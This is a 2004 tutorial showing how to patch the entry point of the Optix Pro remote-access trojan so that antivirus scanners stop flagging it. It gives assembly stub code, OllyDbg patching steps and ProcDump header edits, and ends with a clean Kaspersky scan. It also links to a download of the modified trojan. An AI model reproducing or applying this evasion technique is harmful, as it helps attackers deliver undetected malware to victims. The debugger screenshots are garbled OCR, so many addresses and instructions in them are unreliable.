## <u>Changing the Pe-File Entry-Point to avoid anti-virus detection</u> <u>A little draft by Delikon / ich[at]delikon.de / www.delikon.de</u> <u>8.3.2004</u>

needed tools: -a pe-file editor: for example procdump32 -a debugger (i use here ollydbg) -a program which is detected by a AV. I use here a trojan called optix pro (www.evileyesoftware.com) -pencil and paper ;)

First of all:

If you read here something which is incorrect, please feel free to write me a mail. You will find this Draft and the trojan with new EP at www.delikon.de/zips/EP-changing.zip

Now we start working:

A virus-scanner cannot scan every file for all virus pattern in his database, so he must find some characteristics to minimize the amount of patterns. So the scanner use in my opinion the entry-point of a file and file size.

What will happen if we change the entry-point??

1)

Let us have look at the server of optix pro My virus scanner says after scanning it.

Kaspersky Anti-Vir	us Scanner Infected by virus: Rackdoor Optiv Pro 13	<u>:</u>
VIRUS		
ANE ST	Apply to <u>all infected objects</u>	Help

Now we start optix in our debugger.

I	C CPU - n	nain thread, modu	ile optixpro	
	0049A84C	\$ 55 • 8BEC • 8264 54	PUSH EBP MOV EBP, ESP	
	0049A852 0049A852	. 88 <u>1CA54900</u> . 68 18C0E6EE	MOU EAX,optixpro.0049A51C	
	0049A85C 0049A861	. A1 DCDD4900 . 8800	MOV EAX, DWORD PTR DS: (49DDDC) MOV EAX, DWORD PTR DS: (EAX)	
	0049A863 0049A868	. E8 A846F9FF . E8 4781F6FF	CALL optixpro.0042EF10 CALL_optixpro.004029B4	
	0049H86D 0049A872	. H1 <u>DCDD4900</u> . 8800	MOV EAX,DWORD PTR DS:[49DDDC] MOV EAX,DWORD PTR DS:[EAX]	
	0049A878 0049A878	. 68 00 . 68 00	PUSH Ø	$f_{\text{Arg3}}^{\text{Arg3}} = 0000000000000000000000000000000000$
	0049A87C 0049A881	. 68 <u>D4F54900</u> . 89 A04F4100	PUSH optixpro.0049F5D4 MOV ECX.optixpro.00414FA0	Arg1 = 0049F5D4
9	0049A886 0049A888	. 33D2 . 33C0	XOR EDX EDX	
	00498888 0049888F	. E8 BD93F6FF . 8B0D 7CDF4900	CALL optixpro.00403C4C MOV ECX,DWORD PTR DS:[49DF7C] MOU ECX DWORD PTR DS:[49DF7C]	optixpro.00403C4C
	0049A89A 0049A89A	. 8800 . 8815 90384900	MOV EAX, DWORD PTR DS: [EAX] MOV EDX. DWORD PTR DS: [49389C]	optixpro.004938E8
	0049A8A2 0049A8A7	. E8 8146F9FF . 8B0D <u>94DD4900</u>	CALL optixpro.0042EF28 MOV ECX,DWORD PTR DS:[49DD94]	optixpro.0049F588
	0049A8AD 0049A8B2	. A1 <u>DCDD4900</u> . 8800	MOV EAX,DWORD PTR DS:[49DDDC] MOV EAX,DWORD PTR DS:[49DDDC]	ant ivera (88492420
	0049A8BA	. E8 6946F9FF	CALL optixpro.0042EF28	Opt (xpr0.00495450
	0049A8C4 0049A8C6	. 8800 . E8 DD46F9FF	MOV EAX,DWORD PTR DS:[EAX] CALL optixpro.0042EFA8	
	0049A8CB 0049A8D0	. E8 F091F6FF 0000	CALL optixpro.00403AC0	
	0049H8D2 0049A8D4	0000	ADD BYTE PIR DS:LEAXJ,AL	
Í	0049A8D8 0049A8D8	0000 0000	ADD BYTE PTR DS:(EAX),AL	
	0049A8DC 0049A8DE	0000 0000	ADD BYTE PTR DS:[EAX],AL ADD BYTE PTR DS:[EAX],AL	
	0049A8E2	. 0000	ADD BYTE PTR DS:(EAX),AL	

we see our entry-point of the file is at 0x9A84C + base 0x00400000 = 0x0049A84C after this small code section is a lot of space to put your own code.

Now we have to put in this empty space some lines of code where we will later point our new entry-point.

But how should this code look like ??

The easiest was is to put there a jump 0x0049A84C

But this is too simple every AV will notice this simple trick.

But what is if we jump around in the code to get to the address we want??

Now let me explain this simple asm code.

Push ebp Mov ebp,esp	//standart stack frame build
Sub esp,4	//make space for the push of 4 bytes
Push 0x0049A84C	//push the 4 bytes of the old entry point on the stack
Mov eax,0x1122334	4 //this is the address of a return instruction (i explain it later )
Jmp eax	//jump to this return instruction

The Return instruction pop one address off the stack and jump(return) to this address.

Browse trough the code for the right address of such a instruction i use this at 0x0049A114

C CPU - main thread, module optixpro			
0049A	0FF	> 8D45 BC	LEA EAX,DWORD PTR SS:[EBP-44]
0049A	102	BA 0F000000	MOV EDX,0F
0049A	107	E8 B09BF6FF	CALL optixpro.00403CBC
0049A	10C	8D45 FC	LEA EAX,DWORD PTR SS:[EBP-4]
0049A	10F	E8 849BF6FF	CALL optixpro.00403C98
0049A	114	C3	RETN

our asm code will now look like this:

Push ebp Mov ebp,esp	//standart stack frame build
Sub esp,4	//make space for the push of 4 bytes
Push 0x0049A84C	//push the 4 bytes of the old entry point on the stack
Mov eax, 0x0049A1	14 //this is the address of a return instruction (i explain it later )
Jmp eax	//jump to this return instruction

This is the simplest way to jump back to the old EP. You can also fill this code with some fake instructions, to avoid detection.

2) Now edit the exe file with ollydbg like this:

go to a line with 0000 press "space" and type in the asm code

00499886 00499888 00499888 00499888 00499888	. 33D2 . 33C0 . E8 BD93F6FF . 8800 2005490	XOR EDX.EDX XOR EAX.EAX CALL optixpro.00 MOUL ECY DWORD PT	1403040 19 De 14905701	opt ixpro. 00403
0049A895 0049A89A 0049A89A 0049A8A2 0049A8A2 0049A8AD 0049A8AD 0049A8B2 0049A8B4 0049A8B4 0049A8B4 0049A8BF	+ A1 + 880 + 881 + 880 + 881 + 880 +	e at 0049A8D3 4 ith NOP's		ixpro.00493: ixpro.0049F! Cancel
004948C6 0049A8C6 0049A8C8 0049A8D0 0049A8D1 0049A8D3 0049A8D4 0049A8D4 0049A8D4	. 880 . 88 DD46F9FF . 88 F091F6FF . 55 . 88EC . 90 . 0000 . 0000 . 0000	CHLL Optixpro.00 CALL optixpro.00 PUSH EBP MOV EBP,ESP NOP ADD BYTE PTR DS: ADD BYTE PTR DS:	422FH8 4403AC0 [EAX],AL	

after you have typed in the hole asm code save the changes with right click.

004998281       33C0       XOR ERX,EAX         004998287       8800 7CDE4900       MOU ECX,DWORD PTR DS: L490F7C1         004998297       AI DCDD4900       MOU ECX,DWORD PTR DS: L490F7C1         004998297       8800 7CDE4900       MOU ECX,DWORD PTR DS: L490F7C1         004998297       8800 7CDE4900       MOU ECX,DWORD PTR DS: L490F7C1         004998297       8816 92384900       MOU EX,DWORD PTR DS: LEAX1         00499820       8814697FF       CALL opt ixpro.0042EF28         00499821       8814697FF       CALL opt ixpro.0042EF28         00499822       8800 94004908       MOV ECX,DWORD PTR DS: L490DP01         00499824       8815 60334908       MOV ECX,DWORD PTR DS: L490DP01         00499825       8800 94004908       MOV ECX,DWORD PTR DS: L490DP01         00499826       8800 94004908       MOV EX,DWORD PTR DS: L490DP01         00499826       8800 94004908       MOV EX,DWORD PTR DS: L64X1         004998264       8800       MOV EX,DWORD PTR DS: LEAX1         004998264       8800       CALL opt ixpro.08042EF28         004998264       882C 84       MOV EX,DWORD PTR DS: LEAX1         004998266       FE8       MOV EX,DWORD PTR DS: LEAX1         004998266       68 4CR84900       MOV ERX,DWORD PTR DS: LEAX1,AL	apt ixpro.00403C4C opt ixpro.0043F588         Backup       •         Copy       •         Binary       •         Undo selection       Alt+BkSp         Assemble       Space         Label       :         Comment       ;         Breakpoint       •         Hit trace       •         Run trace       •         Search for       •         Follow in Dump       •         Search for       •         Find references to       •         View       •	
	Copy to executable 🔹 🕨	Selection
Hddress Hex dump ASCII 00498000 32 13 88 C0 02 00 88 C0 2‼ï+0.ï+	Analysis 🕨 🕨	All modifications
00495008 00 8D 40 00 00 8D 40 00 .ie.ie. 00495010 00 8D 40 00 00 00 00 00 .ie 00495018 00 00 00 00 <u>5C 21 40 00</u> te.	Bookmark •	01 01 01
00498020 <u>E4 22 40 00 58 26 40 00</u> 5"e,X&e, 00498028 32 1F 98 C0 52 75 6E 74 2₹i+Runt 00498030 69 6D 65 20 65 72 72 6F ime erro 00498038 72 20 20 20 20 20 61 74 m erro	Appearance •	01 01 01

after that a windows will pop up, select there "all modifications" then select with right click this

D File C:\Documents and Settings\Stefan\Desktop\OptixP	ro\Builder\optixpro.exe	
000990200         55         PUSH EEP           000990201         88EC         MOV EEP,ESP           000990203         83EC 04         SUB ESP,4           000990205         684020         PUSH 49984C           000990205         684020         PUSH 49984C           000990205         68404         MOV EEX,494114           000990205         0000         ADD BVTE PTR DS: LEAX],AL           000990224         0000         ADD BVTE PTR DS: LEAX],AL           000990225         0000         ADD BVTE PTR DS: LEAX],AL           000990226         0000         ADD BVTE PTR DS: LEAX],AL           000990228         0000         ADD BVTE PTR DS: LEAX],AL           000990229         0000         ADD BVTE PTR DS: LEAX],AL           000990229         0000         ADD BVTE PTR DS: LEAX],AL           000990229         0000         ADD BVTE PTR DS: LEAX],AL           000090229         0000         ADD BVTE PTR DS: LEAX],AL		×
000090CEC         0000         ADD         BYTE         PTR         DS: LEAX], AL           000090CE0         0000         ADD         BYTE         PTR         DS: LEAX], AL           000090CF0         0000         ADD         BYTE         PTR         DS: LEAX], AL           000090CF1         0000         ADD         BYTE         PTR         DS: LEAX], AL           000090CF2         0000         ADD         BYTE         PTR         DS: LEAX], AL           000090CF6         0000         ADD         BYTE         PTR         DS: LEAX], AL	Backup + Copy + Binary + Assemble	
ABBA         SB15         F0333900         HOU         EDX, DU00RD         PTR         DS:[4933F0]           ABBA         ASBA         ASBA         Loptixpro.0042E728           ABBF         AI         DCDD4900         HOU         EAX, DU00RD         PTR         DS:[49DDC1           ABC4         SB00         HOU         EAX, DU00RD         PTR         DS:[1001]         DS:[1001]           ABC4         SB00         CAL         optixpro.0042E728         DS         DS <td< td=""><td>Search for  Save file Go to offset Ctrl+G</td><td></td></td<>	Search for  Save file Go to offset Ctrl+G	
ASD0         55         PUSH EBP           ASD1         ABCC         MOU EBP,ESP           ASD3         83EC 04         SUB ESP;4           ASD6         68 4 4CR84900         PUSH opt ixpro. (ModuleEntryPoint)           ASDB         88 14814900         MOU EAX.opt ixpro. 00498114           ASB6         FF68         UPP EAX	View image in Disassembler	
ASE2         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8E4         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8E6         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8E6         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8E8         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8E7         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8E6         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8E7         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8E7         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8F6         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8F7         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8F4         . 0000         ADD         EVTE         PTR         DS: [EAX], AL           A8F6         . 0000         ADD         EVTE         PTR	Iext Float F	

choose a file name and save it.

3)

now we have to change the old entry-point to point into your code. Notice : your code was at 0x0049A8D0

Start now procdump32. and open your new file:

PE Structure Editor		
Header Infos	Structures Editor	OK
Entry Point : 0009A84C	Sections Director	y
Size of image : 0000CE000	Apply changes method : -     Only to PE header	
Image Base : 00400000	C To PE file	Cancel

this is the old EP now type in the new EP and save it.

Header Infos-		C Structures Edit	or	OK
Entry Point :	0009A8D0	Sections	Directory	
Size of image :	000CE 000	Apply changes	s method : header	
Image Base :	00400000	O To PE file		Cancel

now check it with your antivirus-scanner, for me it works well ;-)

Standard   Expert   Sectors   Files   Folders   Folders   O   Packed files   Packed files   Found:   Found:   Known viruses   Virus bodies   Disinfected   Deleted   Benamed   Varnings   Suspicious   Customize   Statistic	
Standard	KASPERSKY
Expert       Sectors       0         Files       1         Folders       0         Archives       0         Packed files       0         Found:       -         Found:       -         Known viruses       0         Virus bodies       0         Disinfected       0         Deleted       0         Renamed       0         Warnings       0         Statistic       0	
Sectors     0       Files     1       Folders     0       Archives     0       Packed files     0       Found:     -       Found:     -       Known viruses     0       Virus bodies     0       Disinfected     0       Deleted     0       Renamed     0       Warnings     0       Statistic     -	
Finders       0         Folders       0         Archives       0         Packed files       0         Found:       -         Found:       -         Known viruses       0         Virus bodies       0         Disinfected       0         Deleted       0         Renamed       0         Varnings       0         Statistic       -	
Policers     0       Archives     0       Packed files     0       Found:     -       Found:     -       Virus bodies     0       Disinfected     0       Deleted     0       Renamed     0       Varnings     0       Statistic     0	
Objects     Althives     0       Packed files     0       Found:	
Found:	
Found:	
Options     Known viruses     0       Virus bodies     0       Disinfected     0       Deleted     0       Renamed     0       Warnings     0       Suspicious     0       Corrupted     0       I/O Errors     0	
Options     Known viruses     0       Virus bodies     0       Disinfected     0       Deleted     0       Renamed     0       Warnings     0       Suspicious     0       Corrupted     0       I/O Errors     0	
Virus bodies 0 Disinfected 0 Deleted 0 Renamed 0 Warnings 0 Suspicious 0 Corrupted 0 I/O Errors 0	
Disinfected     0       Deleted     0       Renamed     0       Warnings     0       Suspicious     0       Corrupted     0       I/O Errors     0	
Deleted     0       Customize     Deleted     0       Warnings     0       Suspicious     0       Corrupted     0       I/O Errors     0	
Customize     Renamed     0       Warnings     0       Suspicious     0       Corrupted     0       I/O Errors     0	
Customize     Warnings     0       Suspicious     0       Corrupted     0       I/O Errors     0	
Suspicious 0 Corrupted 0 1/0 Errors 0	
Corrupted 0 1/0 Errors 0	
Statistic 0	
Statistic	
Scan speed (Kb/sec) 800	
Scan time 00:00	